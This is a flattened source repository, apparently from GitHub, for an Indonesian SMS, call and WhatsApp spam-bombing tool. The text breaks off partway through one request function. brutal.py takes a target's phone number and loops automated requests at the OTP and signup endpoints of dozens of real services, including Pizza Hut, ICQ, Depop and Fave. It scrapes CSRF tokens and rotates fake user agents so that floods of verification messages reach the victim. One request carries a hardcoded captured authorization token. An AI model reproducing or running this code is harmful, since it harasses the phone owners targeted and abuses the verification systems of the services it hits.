├── harus.txt ├── etc ├── ua.py ├── warn │ └── warn.py ├── loding.py └── bener.py ├── warn └── warn.py ├── README.md ├── .gitignore ├── LICENSE └── brutal.py /harus.txt: -------------------------------------------------------------------------------- 1 | requests 2 | fake_useragent 3 | bs4 4 | -------------------------------------------------------------------------------- /etc/ua.py: -------------------------------------------------------------------------------- 1 | from fake_useragent import UserAgent 2 | ua = UserAgent() 3 | -------------------------------------------------------------------------------- /etc/warn/warn.py: -------------------------------------------------------------------------------- 1 | kun='\033[1;91m' 2 | kan='\033[1;92m' 3 | ken='\033[1;96m' 4 | kon='\033[1;95m' 5 | kin='\033[1;94m' 6 | anj='\033[1;90m' 7 | im='\033[1;97m' 8 | tot='\x1b[105m\x1b[37;1m' 9 | sop='\x1b[0m' 10 | -------------------------------------------------------------------------------- /warn/warn.py: -------------------------------------------------------------------------------- 1 | kun='\033[1;91m' 2 | 3 | kan='\033[1;92m' 4 | 5 | ken='\033[1;96m' 6 | 7 | kon='\033[1;95m' 8 | 9 | kin='\033[1;94m' 10 | 11 | anj='\033[1;90m' 12 | 13 | im='\033[1;97m' 14 | 15 | tot='\x1b[105m\x1b[37;1m' 16 | 17 | sop='\x1b[0m' 18 | 19 | -------------------------------------------------------------------------------- /etc/loding.py: -------------------------------------------------------------------------------- 1 | import os, sys, threading 2 | 3 | from warn.warn import * 4 | 5 | def loding(): 6 | 7 | print (f"{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}{kin}•{kon}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}") 8 | 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Spam Brutal All For One 2 | SPAM BRUTAL SMS, CALL, WA 3 | 4 | Tutorial: 5 |
6 | apt update && apt upgrade
7 | pkg update
8 | pkg install python
9 | git clone https://github.com/AbilSeno/spamallforone
10 | cd spamallforone
11 | pip install -r harus.txt
12 | python brutal.py
13 | >>> Pilih 1
14 | >>> Masukkan no telepon
15 | >>> Selesai
16 |
17 |
--------------------------------------------------------------------------------
/etc/bener.py:
--------------------------------------------------------------------------------
1 | from warn.warn import *
2 | # -*- coding: utf-8 -*-
3 | def bnr():
4 | print (f"""
5 | {ken} ______ _______ _ ____ ____
6 | {kon} .' ____ \ |_ __ \ / \ |_ \ / _|
7 | {ken} | (___ \_| | |__) | / _ \ | \/ |
8 | {kon} _.____`. | ___/ / ___ \ | |\ /| |
9 | {ken} | \____) | _| |_ _/ / \ \_ _| |_\/_| |_
10 | {kon} \______.'|_____||____| |____||_____||_____|
11 | {im}╔═╗┬ ┬{anj} {im}╔═╗┌─┐┬─┐ {anj}╔═╗┌┐┌┌─┐
12 | {anj}╠═╣│ │{im} {anj}╠╣ │ │├┬┘ {im}║ ║│││├┤
13 | {im}╩ ╩┴─┘┴─┘{anj} {im}╚ └─┘┴└─ {anj}╚═╝┘└┘└─┘
14 | {im}••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••
15 | {kun}[$] Author : {kin}abilseno11
16 | {kun}[$] Nama SC : {kin}Spam All For One
17 | {kun}[$] Github : {kin}https://github.com/AbilSeno
18 | {kun}[$] Youtube : {kin}Nothing
19 | {im}••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••""")
20 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | pip-wheel-metadata/
24 | share/python-wheels/
25 | *.egg-info/
26 | .installed.cfg
27 | *.egg
28 | MANIFEST
29 |
30 | # PyInstaller
31 | # Usually these files are written by a python script from a template
32 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
33 | *.manifest
34 | *.spec
35 |
36 | # Installer logs
37 | pip-log.txt
38 | pip-delete-this-directory.txt
39 |
40 | # Unit test / coverage reports
41 | htmlcov/
42 | .tox/
43 | .nox/
44 | .coverage
45 | .coverage.*
46 | .cache
47 | nosetests.xml
48 | coverage.xml
49 | *.cover
50 | *.py,cover
51 | .hypothesis/
52 | .pytest_cache/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | target/
76 |
77 | # Jupyter Notebook
78 | .ipynb_checkpoints
79 |
80 | # IPython
81 | profile_default/
82 | ipython_config.py
83 |
84 | # pyenv
85 | .python-version
86 |
87 | # pipenv
88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
91 | # install all needed dependencies.
92 | #Pipfile.lock
93 |
94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
95 | __pypackages__/
96 |
97 | # Celery stuff
98 | celerybeat-schedule
99 | celerybeat.pid
100 |
101 | # SageMath parsed files
102 | *.sage.py
103 |
104 | # Environments
105 | .env
106 | .venv
107 | env/
108 | venv/
109 | ENV/
110 | env.bak/
111 | venv.bak/
112 |
113 | # Spyder project settings
114 | .spyderproject
115 | .spyproject
116 |
117 | # Rope project settings
118 | .ropeproject
119 |
120 | # mkdocs documentation
121 | /site
122 |
123 | # mypy
124 | .mypy_cache/
125 | .dmypy.json
126 | dmypy.json
127 |
128 | # Pyre type checker
129 | .pyre/
130 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/brutal.py:
--------------------------------------------------------------------------------
1 | # Semoga, allah, melaknat orang-orang yang suka rekod sc orang, aamiin
2 | import threading, os, sys, json, time
3 | from bs4 import BeautifulSoup as bs
4 | import requests as ru
5 | from fake_useragent import UserAgent
6 | from warn.warn import *
7 | from etc.bener import *
8 | from etc.ua import *
9 | from etc.loding import *
10 | class main:
11 | def main():
12 | hyu = str(input(f"{kun}[{kan}•{kun}] {im}Masukkan pilihan : "))
13 | if (hyu == '1') or (hyu == '01'):
14 | os.system("clear")
15 | bnr()
16 | main.start()
17 | elif (hyu == '2') or (hyu == '02'):
18 | os.system("xdg-open https://chat.whatsapp.com/LqEGHqFtQBwLEUbemADmTk")
19 | main.main()
20 | elif (hyu == '3') or (hyu == '03'):
21 | os.system("clear")
22 | bnr()
23 | print (f" {tot}TENTANG TOOL INI{sop} ")
24 | print (f"""
25 | {kan}Tools spam all for one adalah {kon}spam brutal (sms, wa, call) yang dibuat untuk menjahili teman kalian
26 | {kan}Bantu terus admin mengembangkan tools ini, dengan cara tidak merecode sc ini 'v'""")
27 | os.system("python brutal.py")
28 | elif (hyu == '4') or (hyu == '04'):
29 | os.system("git pull")
30 | main.main()
31 | else:
32 | print (f"{kun}[{kan}•{kun}] {kun}Masukkan pilihan dengan benar")
33 | main.main()
34 | def start():
35 | try:
36 | nom=str(input(f"{kun}[{kan}•{kun}] {im}Masukkan nomor target (ex:88xx) : "))
37 | if len(nom) <= 5: print (f"{kun}[{kan}•{kun}] {kun}Mohon, masukkan no telp dengan benar");main.start()
38 | print (f"\r{kun}[{kan}•{kun}] {kan}Ok, memulai spamming...")
39 | print (f"{kun}[{kan}•{kun}] {im}Target : {kon}{nom}")
40 | spam.piza(nom)
41 | loding()
42 | spam.map(nom)
43 | loding()
44 | spam.mypoin(nom)
45 | loding()
46 | spam.icq(nom)
47 | loding()
48 | spam.adakami(nom)
49 | loding()
50 | spam.coowry(nom)
51 | loding()
52 | spam.iuga(nom)
53 | loding()
54 | spam.fav(nom)
55 | loding()
56 | spam.suplai(nom)
57 | loding()
58 | spam.chataja(nom)
59 | loding()
60 | spam.depop(nom)
61 | loding()
62 | spam.ruparupa(nom)
63 | loding()
64 | spam.dekoruma(nom)
65 | loding()
66 | spam.jag(nom)
67 | loding()
68 | spam.airbnb(nom)
69 | loding()
70 | spam.kelaspintar(nom)
71 | loding()
72 | spam.payfazz(nom)
73 | loding()
74 | spam.alodokter(nom)
75 | loding()
76 | spam.prosehat(nom)
77 | loding()
78 | spam.theharvest(nom)
79 | loding()
80 | spam.danacinta(nom)
81 | loding()
82 | spam.redbus(nom)
83 | loding()
84 | spam.olx(nom)
85 | loding()
86 | spam.rupiahcepat(nom)
87 | loding()
88 | spam.matahari(nom)
89 | loding()
90 | spam.iviru(nom)
91 | loding()
92 | spam.beltelecom(nom)
93 | loding()
94 | spam.mailru(nom)
95 | loding()
96 | spam.youla(nom)
97 | loding()
98 | spam.oyo(nom)
99 | loding()
100 | # spam.jenius(nom)
101 | # loding()
102 | spam.vadershop(nom)
103 | loding()
104 | print (f"{ken}[{kun}•{ken}] {kan}Proses selesai")
105 | sys.exit()
106 | except ru.ConnectionError:print (f"{ken}[{kun}•{ken}]{kan} Koneksi Error")
107 | except KeyboardInterrupt:print (f"{ken}[{kun}•{ken}]{kun} Program dihentikan")
108 | import itertools
109 | kuni = '\x1b[33m'
110 | def animate():
111 | for c in itertools.cycle(['|', '/', '-', '\\']):
112 | if done:
113 | break
114 | sys.stdout.write(f'\r{kun}[{kan}•{kun}] {kuni}Loading {kun}' + c+"\n")
115 | sys.stdout.flush()
116 | time.sleep(0.1)
117 | class spam:
118 | def piza(nom):
119 | hd = {
120 | 'user-agent': ua.random ,
121 | 'referer': 'https://www.phd.co.id/register',
122 | 'Host': 'api-prod.diqit.io',
123 | 'content-type':'application/json;charset=UTF-8',
124 | }
125 | dat = {'phone':nom}
126 | for x in range(6):
127 | sia = ru.post("https://api-prod.diqit.io/customer/v1/customer/register", headers=hd, json=dat)
128 | if 'error' in sia:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}Pizzahut{kun} Gagal")
129 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}Pizzahut{kan} OK")
130 | def mypoin(nom):
131 | url = 'https://mypoin.id/register/validate-phone-number'
132 | otp = 'https://mypoin.id/register/request-otp'
133 | r = ru.Session()
134 | uat = {"user-agent": "Mozilla/5.0 (Linux; Android 9; vivo 1902) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36"}
135 | uatp = {"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","accept-encoding": "gzip, deflate, br","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","content-length": "102","content-type": "application/x-www-form-urlencoded; charset=UTF-8","origin": "https://mypoin.id","referer": "https://mypoin.id/register/validate-phone-number","sec-fetch-mode": "cors","sec-fetch-site": "same-origin","user-agent": "Mozilla/5.0 (Linux; Android 9; vivo 1902) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36","x-requested-with": "XMLHttpRequest"}
136 | a = r.get(url,headers=uat).text
137 | b = bs(a,'html.parser')
138 | c = b.find("input",attrs={"type":"hidden","name":"csrfmiddlewaretoken"})
139 | e = r.post(otp,headers=uatp,data={"phone":"62"+nom,"csrfmiddlewaretoken": c["value"]}).text
140 | if e == '{"status": "ok"}':
141 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}MyPoin{kan} OK")
142 | else:
143 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}MyPoin{kun} Gagal")
144 | def map(nom):
145 | hd = {
146 | "Connection": "keep-alive",
147 | "user-agent": ua.random ,
148 | }
149 | dat = {'phone':'62'+nom}
150 | for x in range(5):
151 | pil = ru.post("https://cmsapi.mapclub.com/api/signup-otp",data=dat,headers=hd)
152 | if 'error' in pil:print (f"{ken}[{kun}•{ken}] {ken}Spam {kun}({im}{kun}SMS{kun}) {ken}Mapclub{kun} Gagal")
153 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}MapClub{kan} Ok")
154 | def icq(nom):
155 | url = 'https://u.icq.net/api/v14/rapi/auth/sendCode'
156 | hd = {
157 | "accept": "*/*",
158 | "accept-language": "en-US,en;q=0.9,id;q=0.8,mt;q=0.7",
159 | "content-type": "application/json",
160 | "origin": "http://web.icq.com",
161 | "referer": "http://web.icq.com/",
162 | "sec-fetch-dest": "empty",
163 | "sec-fetch-mode": "cors",
164 | "sec-fetch-site": "cross-site",
165 | "user-agent": ua.random ,
166 | }
167 | dat = json.dumps({"reqId":"64708-1593781791","params":{"phone":"62"+nom,"language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}})
168 | a = ru.post(url,headers=hd,data=dat).text
169 | b = json.loads(a)
170 | if b['status']['code'] != 20000:print(f'{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}ICQ{kun} Gagal')
171 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}ICQ{kan} OK")
172 | def adakami(nom):
173 | hd = {
174 | "content-type": "application/json; charset=UTF-8",
175 | "content-length": "34",
176 | "accept-encoding": "gzip",
177 | "user-agent": "okhttp/3.8.0",
178 | "accept-language": "in",
179 | "x-ada-token": "",
180 | "x-ada-appid": "800006",
181 | "x-ada-os": "android",
182 | "x-ada-channel": "default",
183 | "x-ada-mediasource": "",
184 | "x-ada-agency": "adtubeagency",
185 | "x-ada-campaign": "AdakamiCampaign",
186 | "x-ada-role": "1",
187 | "x-ada-appversion": "1.7.0", "x-ada-device": "",
188 | "x-ada-model": "SM-G935FD",
189 | "x-ada-os-ver": "7.1.1", "x-ada-androidid": "a4341a2sa90a4d97",
190 | "x-ada-aid": "c7bbb23d-a220-4d43-9caf-153608f9bd39",
191 | "x-ada-afid": "1580054114839-7395423911531673296",
192 | }
193 | dat = {"ketik":0,"nomor":"0"+nom}
194 | datjson = json.dumps(dat)
195 | r = ru.Session()
196 | for spem in range(5):
197 | a = r.post("https://api.adakami.id/adaKredit/pesan/kodeVerifikasi",data=datjson,headers=hd,timeout=10).text
198 | if (a == '{"result":-1,"resultMessage":"Permintaan kode verifikasi sudah melebihi batas. Silakan coba lagi besok.","content":null}') or (a == '{"result":-1,"resultMessage":"Gagal","content":null}'):print(f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan} {ken}AdaKami{kun} Gagal")
199 | else:print(f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}AdaKami{kan} OK")
200 | def coowry(nom):
201 | url = 'https://www.coowry.com/arlethdesign'
202 | spam = 'https://www.coowry.com/api/tokens'
203 | hd = {
204 | "accept": "*/*",
205 | "accept-encoding": "gzip, deflate, br",
206 | "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
207 | "content-length": "28",
208 | "content-type": "application/json",
209 | "origin": "https://www.coowry.com",
210 | "referer": "https://www.coowry.com/arlethdesign",
211 | "sec-fetch-dest": "empty",
212 | "sec-fetch-mode": "cors",
213 | "sec-fetch-site": "same-origin",
214 | "user-agent": ua.random
215 | }
216 | target = {"msisdn":"+62"+nom}
217 | jsn = json.dumps(target)
218 | r = ru.Session()
219 | a = r.get(url,headers={'user-agent':ua.random}).cookies
220 | b = r.post(spam,headers=hd,cookies={'_cwpeople_keyle_key':a["_cwpeople_key"]},data=jsn).text
221 | c = json.loads(b)["type"]
222 | if 'ok' in c:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}Coowry{kan} OK")
223 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}Coowry{kun} Gagal")
224 | def iuga(nom):
225 | pis = nom.replace("+62","")
226 | r = ru.Session()
227 | for x in range(1):
228 | a = r.get('https://www.iuiga.com/register.html',headers={'user-agent':ua.random}).text
229 | b = bs(a,'html.parser')
230 | c = b.find("meta",attrs={"name":"csrf-token"})
231 | d = r.post('https://www.iuiga.com/login/send-register-code',headers={'user-agent':ua.random},data={"_csrf": c["content"],"phone": pis,"phone_code": "+62","is_login": "0"}).text
232 | if 'success' in d:
233 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}IUGA{kan} Ok")
234 | else:print(f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}IUGA{kun} Gagal")
235 | def fav(nom):
236 | hd = {
237 | "Host": "api.myfave.com",
238 | "Connection": "keep-alive",
239 | "x-user-agent": "Fave-PWA/v1.0.0",
240 | "User-Agent": ua.random,
241 | "content-type": "application/json",
242 | "Accept": "*/*",
243 | "Origin": "https://m.myfave.com",
244 | "Referer": "https://m.myfave.com/jakarta/auth",
245 | "Accept-Encoding": "gzip, deflate, br",
246 | "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
247 | }
248 | dat = {'phone':'62'+nom}
249 | x = ru.post("https://api.myfave.com/api/fave/v3/auth", data=json.dumps(dat), headers=hd).text
250 | if 'error' in x:print(f"{ken}[{kun}•{ken}] {ken}Spam {kan}({anj}CAll{kan}) {ken}Fave{kun} Gagal")
251 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({anj}CALL{kan}) {ken}Fave{kan} OK")
252 | def suplai(nom):
253 | hd = {
254 | "Host": "api.sooplai.com", "accept": "application/json, text/plain, */*",
255 | "User-Agent": ua.random ,
256 | "Content-Type": "application/json",
257 | "origin": "https://www.sooplai.com",
258 | "referer": "https://www.sooplai.com/register",
259 | "Accept-Encoding": "gzip, deflate, br",
260 | "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
261 | }
262 | dat = json.dumps({'phone':'62'+nom})
263 | for x in range(5):
264 | x = ru.post("https://api.sooplai.com/customer/register/otp/request", data=dat, headers=hd)
265 | if 'error' in x:
266 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Sooplai{kun} Gagal")
267 | else:
268 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Sooplai{kan} OK")
269 | def chataja(nom):
270 | data = json.dumps({"user":{"app_id":"kiwari-prod","phone_number":"62"+nom}})
271 | a = ru.post('https://api.chataja.co.id/api/v2/auth_nonce',data=data,headers={"Accept": "application/json, text/plain, */*","Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","Connection": "keep-alive","Content-Length": "65","Content-Type": "application/json;charset=UTF-8","Host": "api.chataja.co.id","Origin": "https://web.chataja.co.id","Referer": "https://web.chataja.co.id/","Sec-Fetch-Dest": "empty","Sec-Fetch-Mode": "cors","Sec-Fetch-Site": "same-site","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}).text;b = json.loads(a)["data"]
272 | if b:
273 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}ChatAja{kan} OK")
274 | else:
275 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}ChatAja{kun} Gagal")
276 | def depop(nom):
277 | hd = {'Host':'webapi.depop.com','content-length':'49','accept':'application/json, text/plain, */*','origin':'https://signup.depop.com','save-data':'on','user-agent':'Mozilla/5.0 (Linux; Android 9; vivo 1902) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36','content-type':'application/json'}
278 | dat = {'phone_number':nom,'country_code':'ID'}
279 | datjs = json.dumps(dat)
280 | for x in range(3):
281 | y = ru.put("https://webapi.depop.com/api/auth/v1/verify/phone",headers=hd,data=datjs)
282 | if 'error' in y.text:
283 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Depop{kun} Gagal")
284 | else:
285 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Depop{kan} OK")
286 | def ruparupa(nom):
287 | url = 'https://wapi.ruparupa.com/auth/check-otp-auth'
288 | url2 = 'https://wapi.ruparupa.com/auth/generate-otp'
289 | hdurl = {
290 | 'accept': 'application/json',
291 | 'authorization': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiODZhM2Q0ZmEtZDE3Mi00NDkwLTllOTAtN2MyM2UyZjA1MDA0IiwiaWF0IjoxNTk3NjY3MTgzLCJpc3MiOiJ3YXBpLnJ1cGFydXBhIn0.QBFVwucPwKlxWc43abnzEgjbNFOMHXMsXd3EaYk4tyU',
292 | 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7&',
293 | 'content-length': '88',
294 | 'content-type': 'application/json', 'origin': 'https://m.ruparupa.com',
295 | 'referer': 'https://m.ruparupa.com/my-account',
296 | 'sec-fetch-mode': 'cors',
297 | 'sec-fetch-site': 'same-site',
298 | 'user-agent': ua.random ,
299 | 'user-platform': 'mobile',
300 | 'x-company-name': 'odi', 'x-frontend-type': 'mobile',
301 | }
302 | hdurl2 = {
303 | 'accept': 'application/json',
